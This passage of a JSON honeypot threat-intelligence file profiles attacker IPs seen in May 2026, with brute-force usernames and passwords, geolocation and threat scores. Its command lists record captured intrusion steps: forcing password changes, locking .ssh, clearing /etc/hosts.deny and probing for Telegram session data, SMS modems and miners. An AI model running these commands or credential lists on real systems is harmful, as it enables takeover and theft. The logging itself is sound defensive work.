        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"sipv\\nObXVIkbP1dCP\\nObXVIkbP1dCP\\n\"|passwd",
        "echo -e \"sipv\\nObXVIkbP1dCP\\nObXVIkbP1dCP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T16:04:56.655000+00:00",
        "last_seen_30d": "2026-05-31T16:29:20.661000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "107.172.250.235": {
      "attack_count": 118,
      "first_seen": "2026-05-23T20:14:28.655Z",
      "last_seen": "2026-05-23T20:45:09.206Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftptest",
        "hong",
        "invitado",
        "sambauser"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "Qweasd123!",
        "Root12345",
        "as",
        "ass",
        "invitado",
        "root2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:we4TankFFL6w\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Elk Grove Village",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T20:14:28.655000+00:00",
        "last_seen_30d": "2026-05-23T20:46:17.809000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "43.133.120.120": {
      "attack_count": 118,
      "first_seen": "2026-05-12T11:17:17.068Z",
      "last_seen": "2026-05-12T11:42:46.580Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "11112222",
        "3245gs5662d34",
        "345gs5662d34",
        "Qy123456.",
        "Reset123",
        "Tp123456",
        "boyette",
        "doraemon",
        "esuser",
        "gangsters",
        "goeth",
        "meiyoumima",
        "milan",
        "naveen123",
        "nodeproxy",
        "p4ssword",
        "password444",
        "patate123",
        "patt123",
        "pulamea123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 167,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:17:17.068000+00:00",
        "last_seen_30d": "2026-05-12T11:43:48.256000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 49
      }
    },
    "206.0.168.131": {
      "attack_count": 114,
      "first_seen": "2026-05-23T07:55:41.904Z",
      "last_seen": "2026-05-23T14:04:31.538Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Cabimas",
      "asn": 271907,
      "as_org": "COLNETWORK C.A.",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:55:41.904000+00:00",
        "last_seen_30d": "2026-05-23T14:05:37.663000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 57
      }
    },
    "72.167.222.32": {
      "attack_count": 114,
      "first_seen": "2026-05-08T05:19:06.600Z",
      "last_seen": "2026-05-20T08:40:51.446Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 205,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:19:06.600000+00:00",
        "last_seen_30d": "2026-05-20T08:41:55.045000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 91
      }
    },
    "62.133.60.87": {
      "attack_count": 109,
      "first_seen": "2026-05-22T22:10:19.482Z",
      "last_seen": "2026-05-22T23:00:58.982Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ansadmin",
        "dennis",
        "testuser",
        "user"
      ],
      "passwords_attempted": [
        "!@#123qwe",
        "#EDC4rfv",
        "1",
        "1qq2w3e4r5t",
        "345gs5662d34",
        "Amir@123",
        "ansadmin",
        "dennis123",
        "root.123",
        "s"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"dennis123\\nPcL2nSdc0cO5\\nPcL2nSdc0cO5\\n\"|passwd",
        "echo -e \"dennis123\\nPcL2nSdc0cO5\\nPcL2nSdc0cO5\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:10:19.482000+00:00",
        "last_seen_30d": "2026-05-22T23:02:07.183000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 109,
        "Suricata": 29
      }
    },
    "195.62.32.180": {
      "attack_count": 84,
      "first_seen": "2026-05-05T03:10:59.879Z",
      "last_seen": "2026-05-31T14:13:04.019Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 54.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:10:59.879000+00:00",
        "last_seen_30d": "2026-05-31T14:14:06.016000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 42
      }
    },
    "175.6.109.238": {
      "attack_count": 82,
      "first_seen": "2026-05-02T08:39:58.761Z",
      "last_seen": "2026-05-02T09:29:36.340Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "cpadmin",
        "ftptest",
        "openvpn",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "12345",
        "123qweQWE",
        "Admin@1234",
        "Digital@2024",
        "Password",
        "Password1234",
        "Qwerty1",
        "admin123456!",
        "adminroot",
        "cpadmin",
        "ftptest",
        "root1234",
        "tset",
        "ubuntu#123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghaicun",
      "asn": 63835,
      "as_org": "No.293,Wanbao Avenue",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:39:58.761000+00:00",
        "last_seen_30d": "2026-05-02T09:39:39.105000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 82,
        "Suricata": 48
      }
    },
    "91.98.151.17": {
      "attack_count": 78,
      "first_seen": "2026-05-09T02:03:47.733Z",
      "last_seen": "2026-05-31T10:11:23.136Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 50.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T02:03:47.733000+00:00",
        "last_seen_30d": "2026-05-31T10:12:30.432000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 39
      }
    },
    "27.37.114.95": {
      "attack_count": 74,
      "first_seen": "2026-05-04T23:08:20.263Z",
      "last_seen": "2026-05-04T23:13:07.746Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:08:20.263000+00:00",
        "last_seen_30d": "2026-05-04T23:14:10.465000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 38
      }
    },
    "107.6.182.109": {
      "attack_count": 72,
      "first_seen": "2026-05-09T21:06:22.877Z",
      "last_seen": "2026-05-29T13:10:08.189Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 45.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:06:22.877000+00:00",
        "last_seen_30d": "2026-05-29T13:11:10.221000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "152.67.93.207": {
      "attack_count": 69,
      "first_seen": "2026-05-04T02:21:20.245Z",
      "last_seen": "2026-05-09T16:28:07.605Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "12345"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T02:21:20.245000+00:00",
        "last_seen_30d": "2026-05-09T16:29:14.111000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 69,
        "Suricata": 8
      }
    },
    "187.233.94.136": {
      "attack_count": 68,
      "first_seen": "2026-05-22T10:13:30.775Z",
      "last_seen": "2026-05-22T19:59:22.256Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Aguascalientes",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:13:30.775000+00:00",
        "last_seen_30d": "2026-05-22T20:00:25.773000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 34
      }
    },
    "27.21.24.87": {
      "attack_count": 66,
      "first_seen": "2026-05-20T08:28:31.753Z",
      "last_seen": "2026-05-20T13:17:00.731Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T08:28:31.753000+00:00",
        "last_seen_30d": "2026-05-23T08:08:03.354000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 36
      }
    },
    "31.222.235.204": {
      "attack_count": 66,
      "first_seen": "2026-05-03T00:15:59.175Z",
      "last_seen": "2026-05-29T18:11:26.692Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 202302,
      "as_org": "NETH LLC",
      "threat_score": 49.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:15:59.175000+00:00",
        "last_seen_30d": "2026-05-29T18:12:35.217000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "123.4.47.185": {
      "attack_count": 50,
      "first_seen": "2026-05-13T04:07:04.266Z",
      "last_seen": "2026-05-13T04:12:28.504Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T04:07:04.266000+00:00",
        "last_seen_30d": "2026-05-13T04:13:29.856000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "216.245.216.166": {
      "attack_count": 48,
      "first_seen": "2026-05-14T19:12:58.806Z",
      "last_seen": "2026-05-20T10:56:35.651Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 46475,
      "as_org": "Limestone Networks, Inc.",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T19:12:58.806000+00:00",
        "last_seen_30d": "2026-05-20T10:57:41.679000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "107.173.146.37": {
      "attack_count": 42,
      "first_seen": "2026-05-08T19:19:11.180Z",
      "last_seen": "2026-05-30T23:37:26.062Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 46.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:19:11.180000+00:00",
        "last_seen_30d": "2026-05-30T23:38:33.760000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "94.243.15.223": {
      "attack_count": 40,
      "first_seen": "2026-05-07T15:14:31.647Z",
      "last_seen": "2026-05-07T15:18:50.954Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T15:14:31.647000+00:00",
        "last_seen_30d": "2026-05-07T15:19:59.973000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "154.81.14.172": {
      "attack_count": 38,
      "first_seen": "2026-05-22T15:52:42.335Z",
      "last_seen": "2026-05-22T16:55:44.710Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "ark",
        "minecraft",
        "root"
      ],
      "passwords_attempted": [
        "ark",
        "asdf",
        "minecraft123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:52:42.335000+00:00",
        "last_seen_30d": "2026-05-22T16:56:47.637000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 30
      }
    },
    "113.162.10.115": {
      "attack_count": 36,
      "first_seen": "2026-05-14T01:17:58.434Z",
      "last_seen": "2026-05-14T01:20:56.429Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T01:17:58.434000+00:00",
        "last_seen_30d": "2026-05-14T01:21:57.889000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "192.3.153.213": {
      "attack_count": 36,
      "first_seen": "2026-05-05T00:28:59.865Z",
      "last_seen": "2026-05-31T06:21:02.133Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 50.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:28:59.865000+00:00",
        "last_seen_30d": "2026-05-31T06:22:03.688000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "74.48.100.96": {
      "attack_count": 36,
      "first_seen": "2026-05-08T04:04:58.387Z",
      "last_seen": "2026-05-18T04:48:56.567Z",
      "sessions": 6,
